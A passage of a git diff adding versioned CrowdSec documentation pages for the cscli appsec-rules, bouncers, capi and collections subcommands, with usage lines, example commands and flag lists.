--help help for upgrade + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules.md new file mode 100644 index 000000000..e9c2dbecb --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules.md @@ -0,0 +1,45 @@ +--- +id: cscli_appsec-rules +title: cscli appsec-rules +--- +Manage hub appsec-rules + +### Examples + +``` +cscli appsec-rules list -a +cscli appsec-rules install crowdsecurity/crs +cscli appsec-rules inspect crowdsecurity/crs +cscli appsec-rules upgrade crowdsecurity/crs +cscli appsec-rules remove crowdsecurity/crs + +``` + +### Options + +``` + -h, --help help for appsec-rules +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli appsec-rules inspect](/cscli/cscli_appsec-rules_inspect.md) - Inspect given appsec-rule(s) +* [cscli appsec-rules install](/cscli/cscli_appsec-rules_install.md) - Install given appsec-rule(s) +* [cscli appsec-rules list](/cscli/cscli_appsec-rules_list.md) - List appsec-rule(s) +* [cscli appsec-rules remove](/cscli/cscli_appsec-rules_remove.md) - Remove given appsec-rule(s) +* [cscli appsec-rules upgrade](/cscli/cscli_appsec-rules_upgrade.md) - Upgrade given appsec-rule(s) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_inspect.md new file mode 100644 index 000000000..898869b8a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_inspect.md @@ -0,0 +1,58 @@ +--- +id: cscli_appsec-rules_inspect +title: cscli appsec-rules inspect +--- +Inspect given appsec-rule(s) + +### Synopsis + +Inspect the state of one or more appsec-rules + +``` +cscli appsec-rules inspect [item]... [flags] +``` + +### Examples + +``` +# Display metadata, state, ancestor collections of appsec-rules (installed or not). +cscli appsec-rules inspect crowdsecurity/crs + +# If the rule is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). +# To avoid this, use --no-metrics. +cscli appsec-configs inspect crowdsecurity/crs --no-metrics + +# Display difference between a tainted item and the latest one. +cscli appsec-rules inspect crowdsecurity/crs --diff + +# Reverse the above diff +cscli appsec-rules inspect crowdsecurity/crs --diff --rev +``` + +### Options + +``` + --diff Show diff with latest version (for tainted items) + -h, --help help for inspect + --no-metrics Don't show metrics (when cscli.output=human) + --rev Reverse diff output + -u, --url string Prometheus url +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_install.md new file mode 100644 index 000000000..760069819 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_install.md @@ -0,0 +1,65 @@ +--- +id: cscli_appsec-rules_install +title: cscli appsec-rules install +--- +Install given appsec-rule(s) + +### Synopsis + +Fetch and install one or more appsec-rules from the hub + +``` +cscli appsec-rules install [item]... [flags] +``` + +### Examples + +``` +# Install some appsec-rules. +cscli appsec-rules install crowdsecurity/crs + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli appsec-rules install crowdsecurity/crs --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli appsec-rules install crowdsecurity/crs --dry-run -o raw + +# Download only, to be installed later. +cscli appsec-rules install crowdsecurity/crs --download-only + +# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli appsec-rules install crowdsecurity/crs --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli appsec-rules install crowdsecurity/crs -i +cscli appsec-rules install crowdsecurity/crs --interactive +``` + +### Options + +``` + -d, --download-only Only download packages, don't enable + --dry-run Don't install or remove anything; print the execution plan + --force Force install: overwrite tainted and outdated files + -h, --help help for install + --ignore Ignore errors when installing multiple appsec-rules + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_list.md new file mode 100644 index 000000000..7b19fda5c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_list.md @@ -0,0 +1,51 @@ +--- +id: cscli_appsec-rules_list +title: cscli appsec-rules list +--- +List appsec-rule(s) + +### Synopsis + +List of installed/available/specified appsec-rules + +``` +cscli appsec-rules list [item... | -a] [flags] +``` + +### Examples + +``` +# List enabled (installed) appsec-rules. +cscli appsec-rules list + +# List all available appsec-rules (installed or not). +cscli appsec-rules list -a + +# List specific appsec-rules (installed or not). +cscli appsec-rules list crowdsecurity/crs crowdsecurity/vpatch-git-config +``` + +### Options + +``` + -a, --all List disabled items as well + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_remove.md new file mode 100644 index 000000000..fb12ba3e7 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_remove.md @@ -0,0 +1,65 @@ +--- +id: cscli_appsec-rules_remove +title: cscli appsec-rules remove +--- +Remove given appsec-rule(s) + +### Synopsis + +Remove one or more appsec-rules + +``` +cscli appsec-rules remove [item]... [flags] +``` + +### Examples + +``` +# Uninstall some appsec-rules. +cscli appsec-rules remove crowdsecurity/crs + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli appsec-rules remove crowdsecurity/crs --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli appsec-rules remove crowdsecurity/crs --dry-run -o raw + +# Uninstall and also remove the downloaded files. +cscli appsec-rules remove crowdsecurity/crs --purge + +# Remove tainted items. +cscli appsec-rules remove crowdsecurity/crs --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli appsec-rules remove crowdsecurity/crs -i +cscli appsec-rules remove crowdsecurity/crs --interactive +``` + +### Options + +``` + --all Remove all the appsec-rules + --dry-run Don't install or remove anything; print the execution plan + --force Force remove: remove tainted and outdated files + -h, --help help for remove + -i, --interactive Ask for confirmation before proceeding + --purge Delete source file too +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_upgrade.md new file mode 100644 index 000000000..56f1d5f14 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_upgrade.md @@ -0,0 +1,61 @@ +--- +id: cscli_appsec-rules_upgrade +title: cscli appsec-rules upgrade +--- +Upgrade given appsec-rule(s) + +### Synopsis + +Fetch and upgrade one or more appsec-rules from the hub + +``` +cscli appsec-rules upgrade [item]... [flags] +``` + +### Examples + +``` +# Upgrade some appsec-rules. If they are not currently installed, they are downloaded but not installed. +cscli appsec-rules upgrade crowdsecurity/crs + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli appsec-rules upgrade crowdsecurity/crs --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli appsec-rules upgrade crowdsecurity/crs --dry-run -o raw + +# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli appsec-rules upgrade crowdsecurity/crs --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli appsec-rules upgrade crowdsecurity/crs -i +cscli appsec-rules upgrade crowdsecurity/crs --interactive +``` + +### Options + +``` + -a, --all Upgrade all the appsec-rules + --dry-run Don't install or remove anything; print the execution plan + --force Force upgrade: overwrite tainted and outdated files + -h, --help help for upgrade + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers.md new file mode 100644 index 000000000..e445dfd88 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers.md @@ -0,0 +1,40 @@ +--- +id: cscli_bouncers +title: cscli bouncers +--- +Manage bouncers [requires local API] + +### Synopsis + +To list/add/delete/prune bouncers. +Note: This command requires database direct access, so is intended to be run on Local API/master. + + +### Options + +``` + -h, --help help for bouncers +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli bouncers add](/cscli/cscli_bouncers_add.md) - add a single bouncer to the database +* [cscli bouncers delete](/cscli/cscli_bouncers_delete.md) - delete bouncer(s) from the database +* [cscli bouncers inspect](/cscli/cscli_bouncers_inspect.md) - inspect a bouncer by name +* [cscli bouncers list](/cscli/cscli_bouncers_list.md) - list all bouncers within the database +* [cscli bouncers prune](/cscli/cscli_bouncers_prune.md) - prune multiple bouncers from the database + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_add.md new file mode 100644 index 000000000..377e66e0c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_add.md @@ -0,0 +1,41 @@ +--- +id: cscli_bouncers_add +title: cscli bouncers add +--- +add a single bouncer to the database + +``` +cscli bouncers add MyBouncerName [flags] +``` + +### Examples + +``` +cscli bouncers add MyBouncerName +cscli bouncers add MyBouncerName --key +``` + +### Options + +``` + -h, --help help for add + -k, --key string api key for the bouncer +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli bouncers](/cscli/cscli_bouncers.md) - Manage bouncers [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_delete.md new file mode 100644 index 000000000..ccb1fabdc --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_delete.md @@ -0,0 +1,40 @@ +--- +id: cscli_bouncers_delete +title: cscli bouncers delete +--- +delete bouncer(s) from the database + +``` +cscli bouncers delete MyBouncerName [flags] +``` + +### Examples + +``` +cscli bouncers delete "bouncer1" "bouncer2" +``` + +### Options + +``` + -h, --help help for delete + --ignore-missing don't print errors if one or more bouncers don't exist +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli bouncers](/cscli/cscli_bouncers.md) - Manage bouncers [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_inspect.md new file mode 100644 index 000000000..ebadc29e9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_inspect.md @@ -0,0 +1,39 @@ +--- +id: cscli_bouncers_inspect +title: cscli bouncers inspect +--- +inspect a bouncer by name + +``` +cscli bouncers inspect [bouncer_name] [flags] +``` + +### Examples + +``` +cscli bouncers inspect "bouncer1" +``` + +### Options + +``` + -h, --help help for inspect +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli bouncers](/cscli/cscli_bouncers.md) - Manage bouncers [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_list.md new file mode 100644 index 000000000..8ba4a41c6 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_list.md @@ -0,0 +1,39 @@ +--- +id: cscli_bouncers_list +title: cscli bouncers list +--- +list all bouncers within the database + +``` +cscli bouncers list [flags] +``` + +### Examples + +``` +cscli bouncers list +``` + +### Options + +``` + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli bouncers](/cscli/cscli_bouncers.md) - Manage bouncers [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_prune.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_prune.md new file mode 100644 index 000000000..040323934 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_bouncers_prune.md @@ -0,0 +1,42 @@ +--- +id: cscli_bouncers_prune +title: cscli bouncers prune +--- +prune multiple bouncers from the database + +``` +cscli bouncers prune [flags] +``` + +### Examples + +``` +cscli bouncers prune -d 45m +cscli bouncers prune -d 45m --force +``` + +### Options + +``` + -d, --duration duration duration of time since last pull (default 1h0m0s) + --force force prune without asking for confirmation + -h, --help help for prune +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli bouncers](/cscli/cscli_bouncers.md) - Manage bouncers [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi.md new file mode 100644 index 000000000..59fd3c3bf --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi.md @@ -0,0 +1,31 @@ +--- +id: cscli_capi +title: cscli capi +--- +Manage interaction with Central API (CAPI) + +### Options + +``` + -h, --help help for capi +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli capi register](/cscli/cscli_capi_register.md) - Register to Central API (CAPI) +* [cscli capi status](/cscli/cscli_capi_status.md) - Check status with the Central API (CAPI) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_register.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_register.md new file mode 100644 index 000000000..18a946d67 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_register.md @@ -0,0 +1,34 @@ +--- +id: cscli_capi_register +title: cscli capi register +--- +Register to Central API (CAPI) + +``` +cscli capi register [flags] +``` + +### Options + +``` + -f, --file string output file destination + -h, --help help for register +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli capi](/cscli/cscli_capi.md) - Manage interaction with Central API (CAPI) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_status.md new file mode 100644 index 000000000..d7b7d74d9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_capi_status.md @@ -0,0 +1,33 @@ +--- +id: cscli_capi_status +title: cscli capi status +--- +Check status with the Central API (CAPI) + +``` +cscli capi status [flags] +``` + +### Options + +``` + -h, --help help for status +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli capi](/cscli/cscli_capi.md) - Manage interaction with Central API (CAPI) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections.md new file mode 100644 index 000000000..cf2cd6cc0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections.md @@ -0,0 +1,45 @@ +--- +id: cscli_collections +title: cscli collections +--- +Manage hub collections + +### Examples + +``` +cscli collections list -a +cscli collections install crowdsecurity/http-cve crowdsecurity/iptables +cscli collections inspect crowdsecurity/http-cve crowdsecurity/iptables +cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables +cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables + +``` + +### Options + +``` + -h, --help help for collections +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli collections inspect](/cscli/cscli_collections_inspect.md) - Inspect given collection(s) +* [cscli collections install](/cscli/cscli_collections_install.md) - Install given collection(s) +* [cscli collections list](/cscli/cscli_collections_list.md) - List collection(s) +* [cscli collections remove](/cscli/cscli_collections_remove.md) - Remove given collection(s) +* [cscli collections upgrade](/cscli/cscli_collections_upgrade.md) - Upgrade given collection(s) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_inspect.md new file mode 100644 index 000000000..66edd18d3 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_inspect.md @@ -0,0 +1,58 @@ +--- +id: cscli_collections_inspect +title: cscli collections inspect +--- +Inspect given collection(s) + +### Synopsis + +Inspect the state of one or more collections + +``` +cscli collections inspect [item]... [flags] +``` + +### Examples + +``` +# Display metadata, state, and dependencies of collections (installed or not). +cscli collections inspect crowdsecurity/http-cve crowdsecurity/iptables + +# If the collection is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). +# To avoid this, use --no-metrics. +cscli collections inspect crowdsecurity/http-cve crowdsecurity/iptables --no-metrics + +# Display difference between a tainted item and the latest one, or the reason for the taint if it's a dependency. +cscli collections inspect crowdsecurity/http-cve --diff + +# Reverse the above diff +cscli collections inspect crowdsecurity/http-cve --diff --rev +``` + +### Options + +``` + --diff Show diff with latest version (for tainted items) + -h, --help help for inspect + --no-metrics Don't show metrics (when cscli.output=human) + --rev Reverse diff output + -u, --url string Prometheus url +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_install.md new file mode 100644 index 000000000..0cfc52f0e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_install.md @@ -0,0 +1,65 @@ +--- +id: cscli_collections_install +title: cscli collections install +--- +Install given collection(s) + +### Synopsis + +Fetch and install one or more collections from the hub + +``` +cscli collections install [item]... [flags] +``` + +### Examples + +``` +# Install some collections. +cscli collections install crowdsecurity/http-cve crowdsecurity/iptables + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --dry-run -o raw + +# Download only, to be installed later. +cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --download-only + +# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli collections install crowdsecurity/http-cve crowdsecurity/iptables -i +cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --interactive +``` + +### Options + +``` + -d, --download-only Only download packages, don't enable + --dry-run Don't install or remove anything; print the execution plan + --force Force install: overwrite tainted and outdated files + -h, --help help for install + --ignore Ignore errors when installing multiple collections + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_list.md new file mode 100644 index 000000000..4e6198778 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_list.md @@ -0,0 +1,51 @@ +--- +id: cscli_collections_list +title: cscli collections list +--- +List collection(s) + +### Synopsis + +List of installed/available/specified collections + +``` +cscli collections list [item... | -a] [flags] +``` + +### Examples + +``` +# List enabled (installed) collections. +cscli collections list + +# List all available collections (installed or not). +cscli collections list -a + +# List specific collections (installed or not). +cscli collections list crowdsecurity/http-cve crowdsecurity/iptables +``` + +### Options + +``` + -a, --all List disabled items as well + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_remove.md new file mode 100644 index 000000000..af77ae552 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_remove.md @@ -0,0 +1,65 @@ +--- +id: cscli_collections_remove +title: cscli collections remove +--- +Remove given collection(s) + +### Synopsis + +Remove one or more collections + +``` +cscli collections remove [item]... [flags] +``` + +### Examples + +``` +# Uninstall some collections. +cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --dry-run -o raw + +# Uninstall and also remove the downloaded files. +cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --purge + +# Remove tainted items. +cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables -i +cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --interactive +``` + +### Options + +``` + --all Remove all the collections + --dry-run Don't install or remove anything; print the execution plan + --force Force remove: remove tainted and outdated files + -h, --help help for remove + -i, --interactive Ask for confirmation before proceeding + --purge Delete source file too +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_upgrade.md new file mode 100644 index 000000000..283365a9d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_collections_upgrade.md @@ -0,0 +1,61 @@ +--- +id: cscli_collections_upgrade +title: cscli collections upgrade +--- +Upgrade given collection(s) + +### Synopsis + +Fetch and upgrade one or more collections from the hub + +``` +cscli collections upgrade [item]... [flags] +``` + +### Examples + +``` +# Upgrade some collections. If they are not currently installed, they are downloaded but not installed. +cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --dry-run -o raw + +# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables -i +cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --interactive +``` + +### Options + +``` + -a, --all Upgrade all the collections + --dry-run Don't install or remove anything; print the execution plan + --force Force upgrade: overwrite tainted and outdated files + -h, --help help for upgrade + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_completion.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_completion.md new file mode 100644 index 000000000..5ab8da881 --- 